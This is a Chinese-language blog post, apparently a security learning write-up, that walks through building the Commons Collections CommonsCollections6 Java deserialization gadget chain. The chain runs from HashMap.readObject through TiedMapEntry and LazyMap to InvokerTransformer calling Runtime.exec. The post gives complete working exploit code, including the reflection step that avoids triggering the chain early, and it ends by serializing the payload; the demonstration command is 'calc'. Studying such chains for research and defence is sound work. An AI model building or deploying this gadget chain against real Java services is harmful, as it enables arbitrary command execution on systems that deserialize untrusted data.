CommonsCollections6

CommonsCollections6

版权申明:本文为原创文章,转载请注明原文出处

原文链接:http://example.com/post/1b4135a6.html

CommonsCollections6

前景提要

前面两种链子都依赖于jdk版本,在更新后的jdk版本中AnnotationInvocationHandler类已有更新,难以利用

除了利用AnnotationInvocationHandler类的readObject方法以外,还可以利用HashMap类的readObject方法

找链子

首先还是确定好链子终点,还是InvokerTransformer类的transform方法,能够实现执行任意对象的任意方法,因此还是构造ChainedTransformer对象,调用该对象的transform方法可直接实现执行calc命令

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

还是使用LazyMap类构造实例,该类的get方法实现了Transformer类的transform方法的调用

1
2
HashMap<Object,Object> map = new HashMap<>();
Map tmplazymap= LazyMap.decorate(map,transformerChain);

前面提到该次链子的起点是HashMapreadObject方法,而HashMapreadObject方法调用了其key值的hashcode方法,因此下一个点应该是包含mapget方法的hashcode方法,此处选择的是TiedMapEntry,在TiedMapEntry中的hashcode方法,调用了getValue方法,而getValue方法中就调用了mapget方法,此处的map是可控制的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}


/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}


}

此处的map传递的应该是构造的LazyMap对象,key值不做影响,因为要执行的transform方法有了new ConstantTransformer(Runtime.class)后本身也不需要传参

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(tmplazymap,"1");

然后就可以构造HashMap类,而HashMap类传参是一个Map对象,因此tiedMapEntry应该是作为一个键或者值传入该类进行实例化,查看其readObject方法,可以看到的是对key进行hash,调用hashcode方法,因此此处只想要将key指定为tiedMapEntry对象即可

image-20240611161336824

1
hashMap.put(tiedMapEntry,"2");

但是这样会引发一个问题,此处的put函数本身也是会调用hashcode方法,因此put之前,不能直接将原tiedMapEntry作为key传入,只能传之后想办法改变tiedMapEntry为原key

image-20240611161528259

此处选择在构造TiedMapEntry对象时,改变传入的map对象,在put后进行反射修改

1
2
3
4
5
6
7
8
9
HashMap<Object,Object> map = new HashMap<>();
Map tmplazymap= LazyMap.decorate(map,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"1");
HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"2");
Class clazz = TiedMapEntry.class;
Field field = clazz.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry,tmplazymap);
代码构造

综上所述,最后的代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map tmplazymap= LazyMap.decorate(map,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"1");
HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"2");
Class clazz = TiedMapEntry.class;
Field field = clazz.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry,tmplazymap);
serialize(hashMap);
unserialize("data.bin");
Author

yyyyyyxnp

Posted on

2024-06-11

Updated on

2024-09-29

Licensed under

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.